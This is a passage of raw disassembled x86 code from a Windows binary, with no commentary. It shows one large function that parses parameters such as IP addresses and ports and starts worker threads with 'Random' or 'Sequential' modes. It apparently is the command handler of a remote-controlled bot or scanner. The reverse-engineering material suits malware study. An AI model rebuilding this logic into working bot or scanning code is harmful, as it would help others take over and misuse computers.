		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_4078AA
; ---------------------------------------------------------------------------

loc_4077D0:				; CODE XREF: sub_401C87+5B17j
					; sub_401C87+5B1Cj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4077F2
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4077F2
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4077F2
		push	offset unk_442404
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_4077F2:				; CODE XREF: sub_401C87+5B4Fj
					; sub_401C87+5B57j ...
		push	10h
		lea	eax, [ebp+var_2D8]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D8], edi
		push	[ebp+arg_4]
		call	dword_4E302C	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41E510
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_4078A4
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41F5B0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407898

loc_407876:				; CODE XREF: sub_401C87+5C0Fj
		cmp	eax, ebx
		jz	short loc_407898
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41F5B0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407876

loc_407898:				; CODE XREF: sub_401C87+5BEDj
					; sub_401C87+5BF1j
		mov	[ebp+var_344], 1
		jmp	short loc_4078AA
; ---------------------------------------------------------------------------

loc_4078A4:				; CODE XREF: sub_401C87+5BC7j
		mov	[ebp+var_344], ebx

loc_4078AA:				; CODE XREF: sub_401C87+5B44j
					; sub_401C87+5C1Bj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41EC30
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4078FB

loc_4078E8:				; CODE XREF: sub_401C87+5C97j
		push	esi

loc_4078E9:				; CODE XREF: sub_401C87+5C81j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 0Ch
		jmp	short loc_407926
; ---------------------------------------------------------------------------

loc_4078FB:				; CODE XREF: sub_401C87+5C5Fj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_40790A
		cmp	byte ptr [eax],	23h
		jnz	short loc_40790A
		push	eax
		jmp	short loc_4078E9
; ---------------------------------------------------------------------------

loc_40790A:				; CODE XREF: sub_401C87+5C79j
					; sub_401C87+5C7Ej
		mov	esi, offset aF	; "#f"
		push	offset word_4E2F3E
		push	esi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4078E8
		mov	[ebp+var_3F4], bl

loc_407926:				; CODE XREF: sub_401C87+5C72j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom_1 ;	"Random"
		jnz	short loc_407938
		mov	eax, offset aSequential_0 ; "Sequential"

loc_407938:				; CODE XREF: sub_401C87+5CAAj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_442450
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40B691
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40CA91
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4079C9
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4424B8
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_4079C1:				; CODE XREF: sub_401C87+5D48j
		push	32h
		call	dword_4F534C	; Sleep

loc_4079C9:				; CODE XREF: sub_401C87+5D27j
		cmp	[ebp+var_340], ebx
		jz	short loc_4079C1
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_4079D6:				; CODE XREF: sub_401C87+4FF0j
					; sub_401C87+5007j
		push	[ebp+arg_10]
		call	sub_40AD91
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41E710
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41E710
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41E710
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41E510
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4424F0
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40B691
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40CEA6
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_407ACE
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442540
		jmp	loc_404014
; ---------------------------------------------------------------------------

loc_407AC6:				; CODE XREF: sub_401C87+5E4Dj
		push	32h
		call	dword_4F534C	; Sleep

loc_407ACE:				; CODE XREF: sub_401C87+5E2Cj
		cmp	[ebp+var_4D0], ebx
		jz	short loc_407AC6
		jmp	loc_404023
; ---------------------------------------------------------------------------

loc_407ADB:				; CODE XREF: sub_401C87+4FB3j
					; sub_401C87+4FCAj
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		cmp	byte_455FD8[eax], bl
		jz	loc_409A67
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	edi
		call	sub_41BC70
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41BC70
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41BC70
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41EBB0
		mov	esi, eax
		lea	eax, [ebp+var_2C0]
		push	esi
		push	offset dword_44257C
		push	eax
		call	sub_41EA60
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_409A67
		push	[ebp+arg_10]
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jle	loc_409A67
		push	[ebp+arg_10]
		call	sub_41E710
		cmp	eax, 400h
		pop	ecx
		jge	loc_409A67
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		push	dword_455FCC[eax]
		call	sub_409C75
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_455DC0[eax], 73h
		jnz	loc_409A67
		push	esi
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_455FD8
		push	eax
		push	edi
		push	offset dword_442588

loc_407BCB:				; CODE XREF: sub_401C87+6046j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		jmp	loc_40421D
; ---------------------------------------------------------------------------

loc_407BF5:				; CODE XREF: sub_401C87+4F85j
					; sub_401C87+4F9Cj
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		cmp	byte_455FD8[eax], bl
		jz	loc_409A67
		cmp	[ebp+var_C], ebx
		jz	loc_409A67
		push	edi
		call	sub_41BC70
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41BC70
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41BC70
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41EBB0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409A67
		push	[ebp+arg_10]
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jle	loc_409A67
		push	[ebp+arg_10]
		call	sub_41E710
		cmp	eax, 400h
		pop	ecx
		jge	loc_409A67
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		push	dword_455FCC[eax]
		call	sub_409C75
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_455DC0[eax], 73h
		jnz	loc_409A67
		push	esi
		push	[ebp+arg_10]
		call	sub_41E710
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_455FD8
		push	eax
		push	edi
		push	offset dword_442598
		jmp	loc_407BCB
; ---------------------------------------------------------------------------

loc_407CD2:				; CODE XREF: sub_401C87+4F57j
					; sub_401C87+4F6Ej
		push	[ebp+arg_10]
		call	dword_4E30C8	; inet_addr
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41E710
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41E710
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41E510
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4425A8
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40B691
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40CDB5
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_407DB7
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4425E4
		jmp	loc_404014
; ---------------------------------------------------------------------------

loc_407DAF:				; CODE XREF: sub_401C87+6136j
		push	32h
		call	dword_4F534C	; Sleep

loc_407DB7:				; CODE XREF: sub_401C87+6115j
		cmp	[ebp+var_670], ebx
		jz	short loc_407DAF
		jmp	loc_404023
; ---------------------------------------------------------------------------

loc_407DC4:				; CODE XREF: sub_401C87+4F29j
					; sub_401C87+4F40j
		push	[ebp+arg_10]
		call	sub_41E710
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41E510
		push	[ebp+arg_0]
		call	sub_41E710
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	80h
		push	eax
		mov	[ebp+var_1238],	esi
		call	sub_41EC30
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AEAD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_44261C
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	18h
		push	eax
		call	sub_40B691
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset sub_410CBF
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_407EB0
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442658
		jmp	loc_404014
; ---------------------------------------------------------------------------

loc_407EA8:				; CODE XREF: sub_401C87+622Fj
		push	32h
		call	dword_4F534C	; Sleep

loc_407EB0:				; CODE XREF: sub_401C87+620Ej
		cmp	[ebp+var_1118],	ebx
		jz	short loc_407EA8
		jmp	loc_404023
; ---------------------------------------------------------------------------

loc_407EBD:				; CODE XREF: sub_401C87+4EFBj
					; sub_401C87+4F12j
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41E510
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41E710
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407F16
		push	10h
		push	ebx
		push	eax
		call	sub_41F450
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------

loc_407F16:				; CODE XREF: sub_401C87+6279j
		mov	[ebp+var_2668],	ebx

loc_407F1C:				; CODE XREF: sub_401C87+628Dj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407F33
		push	esi
		call	sub_41E710
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407F39
; ---------------------------------------------------------------------------

loc_407F33:				; CODE XREF: sub_401C87+629Bj
		mov	[ebp+var_266C],	ebx

loc_407F39:				; CODE XREF: sub_401C87+62AAj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41E510
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2660],	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_44269C
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_2C0]
		push	1Dh
		push	eax
		call	sub_40B691
		add	esp, 28h
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset sub_416D68
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_407FEA
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4426C8
		jmp	loc_4082A3
; ---------------------------------------------------------------------------

loc_407FE2:				; CODE XREF: sub_401C87+6369j
		push	32h
		call	dword_4F534C	; Sleep

loc_407FEA:				; CODE XREF: sub_401C87+6348j
		cmp	[ebp+var_2658],	ebx
		jz	short loc_407FE2
		jmp	loc_4082B2
; ---------------------------------------------------------------------------

loc_407FF7:				; CODE XREF: sub_401C87+4ECDj
					; sub_401C87+4EE4j
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41E510
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_3494],	esi
		push	offset unk_442708
		push	eax
		call	sub_41EA60
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	12h
		push	eax
		call	sub_40B691
		add	esp, 0Ch
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset sub_415321
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4080D1
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442744
		jmp	loc_4082A3
; ---------------------------------------------------------------------------

loc_4080C9:				; CODE XREF: sub_401C87+6450j
		push	32h
		call	dword_4F534C	; Sleep

loc_4080D1:				; CODE XREF: sub_401C87+642Fj
		cmp	[ebp+var_3284],	ebx
		jz	short loc_4080C9
		jmp	loc_4082B2
; ---------------------------------------------------------------------------

loc_4080DE:				; CODE XREF: sub_401C87+4DA1j
					; sub_401C87+4DB8j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41E510
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_306C],	esi
		push	offset unk_44277C
		push	eax
		call	sub_41EA60
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40B691
		add	esp, 0Ch
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset sub_414067
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4081B8
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4427AC
		jmp	loc_4082A3
; ---------------------------------------------------------------------------

loc_4081B0:				; CODE XREF: sub_401C87+6537j
		push	32h
		call	dword_4F534C	; Sleep

loc_4081B8:				; CODE XREF: sub_401C87+6516j
		cmp	[ebp+var_2E5C],	ebx
		jz	short loc_4081B0
		jmp	loc_4082B2
; ---------------------------------------------------------------------------

loc_4081C5:				; CODE XREF: sub_401C87+4C79j
					; sub_401C87+4C90j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41E510
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E510
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_3CEC],	esi
		push	offset unk_4427E4
		push	eax
		call	sub_41EA60
		add	esp, 50h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40B691
		add	esp, 0Ch
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset sub_4132FC
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4082CC
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442814

loc_4082A3:				; CODE XREF: sub_401C87+4EA2j
					; sub_401C87+5832j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_4082B2:				; CODE XREF: sub_401C87+4EB7j
					; sub_401C87+5847j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_402593
		push	ebx
		push	[ebp+var_4]
		jmp	loc_40402E
; ---------------------------------------------------------------------------

loc_4082C4:				; CODE XREF: sub_401C87+664Bj
		push	32h
		call	dword_4F534C	; Sleep

loc_4082CC:				; CODE XREF: sub_401C87+660Ej
		cmp	[ebp+var_3A5C],	ebx
		jz	short loc_4082C4
		jmp	short loc_4082B2
; ---------------------------------------------------------------------------

loc_4082D6:				; CODE XREF: sub_401C87+4C4Bj
					; sub_401C87+4C62j
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		push	edi
		call	sub_41E710
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41E510
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_408321
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_408321:				; CODE XREF: sub_401C87+6686j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_44284C
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Fh
		push	eax
		call	sub_40B691
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4019A5
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4083B0
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_44287C
		jmp	loc_406F0F
; ---------------------------------------------------------------------------

loc_4083A8:				; CODE XREF: sub_401C87+672Fj
		push	32h
		call	dword_4F534C	; Sleep

loc_4083B0:				; CODE XREF: sub_401C87+670Ej
		cmp	[ebp+var_161C],	ebx
		jz	short loc_4083A8
		jmp	loc_406F1E
; ---------------------------------------------------------------------------

loc_4083BD:				; CODE XREF: sub_401C87+4C0Bj
					; sub_401C87+4C22j
		push	edi
		call	sub_41E710
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_4084AD
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41EC30
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1D58],	eax
		push	offset unk_4428B8
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41EC30
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	15h
		push	eax
		call	sub_40B691
		add	esp, 38h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset sub_413740
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4084A0
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4428E4
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_408498:				; CODE XREF: sub_401C87+681Fj
		push	32h
		call	dword_4F534C	; Sleep

loc_4084A0:				; CODE XREF: sub_401C87+67FEj
		cmp	[ebp+var_1D54],	ebx
		jz	short loc_408498
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_4084AD:				; CODE XREF: sub_401C87+6745j
		push	offset unk_44291C
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_4084B7:				; CODE XREF: sub_401C87+4BDDj
					; sub_401C87+4BF4j
		push	edi
		push	[ebp+arg_10]
		call	dword_4F5388	; MoveFileA
		test	eax, eax
		jz	short loc_4084E4
		push	edi
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_10]
		push	offset unk_442954
		push	200h
		push	eax
		call	sub_41EC30
		jmp	loc_404247
; ---------------------------------------------------------------------------

loc_4084E4:				; CODE XREF: sub_401C87+683Cj
		push	offset dword_442978
		call	sub_418C20
		push	eax
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 10h
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_408508:				; CODE XREF: sub_401C87+4BAFj
					; sub_401C87+4BC6j
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41EC30
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408542
		push	edi
		push	[ebp+var_C]
		call	sub_41EBB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408542
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_408542:				; CODE XREF: sub_401C87+689Bj
					; sub_401C87+68AAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_442984
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41EC30
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	24h
		push	eax
		call	sub_40B691
		add	esp, 2Ch
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset sub_417606
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_408607
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4429B4

loc_4085EB:				; CODE XREF: sub_401C87+8E5j
					; sub_401C87+A0Dj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	loc_402593
; ---------------------------------------------------------------------------

loc_4085FF:				; CODE XREF: sub_401C87+6986j
		push	32h
		call	dword_4F534C	; Sleep

loc_408607:				; CODE XREF: sub_401C87+6956j
		cmp	[ebp+var_3CF0],	ebx
		jz	short loc_4085FF
		jmp	loc_402593
; ---------------------------------------------------------------------------

loc_408614:				; CODE XREF: sub_401C87+4B81j
					; sub_401C87+4B98j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41E4B0
